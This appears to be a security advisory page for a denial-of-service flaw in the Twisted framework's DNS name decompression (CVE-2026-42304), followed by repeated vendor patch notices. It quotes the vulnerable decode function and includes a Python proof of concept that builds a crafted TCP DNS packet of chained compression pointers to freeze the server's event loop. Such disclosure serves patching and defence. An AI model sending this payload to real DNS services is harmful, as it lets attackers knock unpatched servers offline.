CVE-2026-42304

Twisted is an event-based framework for internet applications, supporting Python 3.6+. Prior to 26.4.0rc2, the twisted.names module is vulnerable to a Denial of Service (DoS) attack via resource exhaustion during DNS name decompression. A remote, unauthenticated attacker can exploit this by sending a crafted TCP DNS packet containing deeply chained compression pointers. This flaw bypasses previous loop-prevention logic, causing the single-threaded Twisted reactor to hang while processing millions of recursive lookups, effectively freezing the server. This vulnerability is fixed in 26.4.0rc2.

Details

The twisted.names module is vulnerable to a Denial of Service (DoS) attack via resource exhaustion during DNS name decompression. A remote, unauthenticated attacker can exploit this by sending a crafted TCP DNS packet containing deeply chained compression pointers. This flaw bypasses previous loop-prevention logic, causing the single-threaded Twisted reactor to hang while processing millions of recursive lookups, effectively freezing the server.

Technical Details

The main issue is in twisted.names.dns.Name.decode. A visited set was added in 2011 (commit e11cd82) to prevent infinite loops, but there is still no limit on the number of pointer dereferences per message. Also, the visited set is reset for each Question record.

Because DNSServerFactory handles every record in QDCOUNT without checking them, an attacker can add thousands of questions that all refer to the same long chain of pointers. This makes the parser repeat a complex and unnecessary search.

##  src/twisted/names/dns.py (Lines 595-631)

def decode(self, strio, length=None):
        visited = set()
        self.name = b""
        off = 0
        while 1:
            l = ord(readPrecisely(strio, 1))
            if l == 0:
                if off > 0:
                    strio.seek(off)
                return
            if (l >> 6) == 3:
                new_off = (l & 63) << 8 | ord(readPrecisely(strio, 1))
                if new_off in visited:
                    raise ValueError("Compression loop in encoded name")
                visited.add(new_off)
                if off == 0:
                    off = strio.tell()
                strio.seek(new_off)
                continue
            label = readPrecisely(strio, l)
            if self.name == b"":
                self.name = label
            else:
                self.name = self.name + b"." + label

PoC

import struct, time
from twisted.names import dns, server
from twisted.test import proto_helpers

def create_tcp_payload():
    num_pointers = 8000
    packet_length = 65533
    num_questions = (packet_length - (num_pointers * 2) - 12) // 6

    buffer = bytearray(packet_length)

    struct.pack_into("!HHHHHH", buffer, 0, 1, 0, num_questions, 0, 0, 0)

    ptr_offset = 12
    for _ in range(num_pointers - 1):
        struct.pack_into("!H", buffer, ptr_offset, 0xC000 | (ptr_offset + 2))
        ptr_offset += 2

    null_byte_offset = ptr_offset + 2
    struct.pack_into("!H", buffer, ptr_offset, 0xC000 | null_byte_offset)
    buffer[null_byte_offset] = 0

    question_offset = null_byte_offset + 1
    for _ in range(num_questions):
        if question_offset + 6 <= packet_length:
            struct.pack_into("!HHH", buffer, question_offset, 0xC000 | 12, 1, 1)
            question_offset += 6

    return packet_length, num_pointers, num_questions, struct.pack("!H", packet_length) + buffer

def test_dns_server():
    factory = server.DNSServerFactory(clients=[])
    protocol = factory.buildProtocol(("127.0.0.1", 10053))
    transport = proto_helpers.StringTransport()
    protocol.makeConnection(transport)

    pkt_len, num_ptrs, num_qs, payload = create_tcp_payload()
    print("payload")
    print(f"len={pkt_len} ptrs={num_ptrs} qs={num_qs}")

    start = time.time()
    protocol.dataReceived(payload)
    end = time.time()

    print(f"time={end - start:.4f}s")

if __name__ == "__main__":
    test_dns_server()

Impact

A single malformed TCP packet is sufficient to block the Twisted reactor's event loop for several seconds. Because Twisted operates on a single-threaded cooperative multitasking model, this is a common Denial of Service (DoS). The process becomes unable to handle new connections, process I/O, or respond to existing requests, effectively paralyzing the server for the duration of the decompression.

Remediation

• Update twisted.names.dns.Name.decode to add a required limit on pointer resolutions per DNS message -…

Twisted is an event-based framework for internet applications, supporting Python 2.7 and Python 3.5+. It includes modules for many different purposes, including the following:

Security Fix(es):

A denial of service vulnerability exists in Twisted framework when handling DNS compression pointer chains. A single malformed TCP packet is sufficient to block the Twisted reactor's event loop for several seconds. Because Twisted operates on a single-threaded cooperative multitasking model, this results in a common Denial of Service (DoS) attack. During this process, the server becomes unable to handle new connections, process I/O, or respond to existing requests, effectively paralyzing the server for the duration of decompression.(CVE-2026-42304)

Twisted is an event-based framework for internet applications, supporting Python 2.7 and Python 3.5+. It includes modules for many different purposes, including the following:

Security Fix(es):

A denial of service vulnerability exists in Twisted framework when handling DNS compression pointer chains. A single malformed TCP packet is sufficient to block the Twisted reactor's event loop for several seconds. Because Twisted operates on a single-threaded cooperative multitasking model, this results in a common Denial of Service (DoS) attack. During this process, the server becomes unable to handle new connections, process I/O, or respond to existing requests, effectively paralyzing the server for the duration of decompression.(CVE-2026-42304)

Twisted is an event-based framework for internet applications, supporting Python 2.7 and Python 3.5+. It includes modules for many different purposes, including the following:

Security Fix(es):

A denial of service vulnerability exists in Twisted framework when handling DNS compression pointer chains. A single malformed TCP packet is sufficient to block the Twisted reactor's event loop for several seconds. Because Twisted operates on a single-threaded cooperative multitasking model, this results in a common Denial of Service (DoS) attack. During this process, the server becomes unable to handle new connections, process I/O, or respond to existing requests, effectively paralyzing the server for the duration of decompression.(CVE-2026-42304)

Twisted is an event-based framework for internet applications, supporting Python 2.7 and Python 3.5+. It includes modules for many different purposes, including the following:

Security Fix(es):

A denial of service vulnerability exists in Twisted framework when handling DNS compression pointer chains. A single malformed TCP packet is sufficient to block the Twisted reactor's event loop for several seconds. Because Twisted operates on a single-threaded cooperative multitasking model, this results in a common Denial of Service (DoS) attack. During this process, the server becomes unable to handle new connections, process I/O, or respond to existing requests, effectively paralyzing the server for the duration of decompression.(CVE-2026-42304)

Twisted is an event-based framework for internet applications, supporting Python 2.7 and Python 3.5+. It includes modules for many different purposes, including the following:

Security Fix(es):

A denial of service vulnerability exists in Twisted framework when handling DNS compression pointer chains. A single malformed TCP packet is sufficient to block the Twisted reactor's event loop for several seconds. Because Twisted operates on a single-threaded cooperative multitasking model, this results in a common Denial of Service (DoS) attack. During this process, the server becomes unable to handle new connections, process I/O, or respond to existing requests, effectively paralyzing the server for the duration of decompression.(CVE-2026-42304)

Twisted is an event-based framework for internet applications, supporting Python 3.6+. Prior to 26.4.0rc2, the twisted.names module is vulnerable to a Denial of Service (DoS) attack via resource exhaustion during DNS name decompression. A remote, unauthenticated attacker can exploit this by sending a crafted TCP DNS packet containing deeply chained compression pointers. This flaw bypasses previous loop-prevention logic, causing the single-threaded Twisted reactor to hang while processing millions of recursive lookups, effectively freezing the server. This vulnerability is fixed in 26.4.0rc2.

Twisted is an event-based framework for internet applications, supporting Python 3.6+. Prior to 26.4.0rc2, the twisted.names module is vulnerable to a Denial of Service (DoS) attack via resource exhaustion during DNS name decompression. A remote, unauthenticated attacker can exploit this by sending a crafted TCP DNS packet containing deeply chained compression pointers. This flaw bypasses previous loop-prevention logic, causing the single-threaded Twisted reactor to hang while processing millions of recursive lookups, effectively freezing the server. This vulnerability is fixed in 26.4.0rc2.

Twisted is an event-based framework for internet applications, supporting Python 3.6+. Prior to 26.4.0rc2, the twisted.names module is vulnerable to a Denial of Service (DoS) attack via resource exhaustion during DNS name decompression. A remote, unauthenticated attacker can exploit this by sending a crafted TCP DNS packet containing deeply chained compression pointers. This flaw bypasses previous loop-prevention logic, causing the single-threaded Twisted reactor to hang while processing millions of recursive lookups, effectively freezing the server. This vulnerability is fixed in 26.4.0rc2.

TuxCare rebuilt twisted to address 3 CVEs. Fixed in 20.3.0.post5+tuxcare.

These are all security issues fixed in the python-Twisted-doc-26.4.0-1.1 package on the GA media of openSUSE Tumbleweed.

This update for python-Twisted fixes the following issue

• CVE-2026-42304: Prior to 26.4.0rc2, the twisted.names module is vulnerable to a Denial of Service (DoS) attack via resource exhaustion during DNS name decompression (bsc#1265265).

This update for python-Twisted fixes the following issue

• CVE-2026-42304: Prior to 26.4.0rc2, the twisted.names module is vulnerable to a Denial of Service (DoS) attack via resource exhaustion during DNS name decompression (bsc#1265265).

This update for python3-Twisted fixes the following issue

• CVE-2026-42304: Prior to 26.4.0rc2, the twisted.names module is vulnerable to a Denial of Service (DoS) attack via resource exhaustion during DNS name decompression (bsc#1265265).

This update for python-Twisted fixes the following issue

• CVE-2026-42304: Prior to 26.4.0rc2, the twisted.names module is vulnerable to a Denial of Service (DoS) attack via resource exhaustion during DNS name decompression (bsc#1265265).

It was discovered that Twisted incorrectly handled DNS name decompression. A remote attacker could possibly use this issue to cause Twisted to consume excessive resources, leading to a denial of service.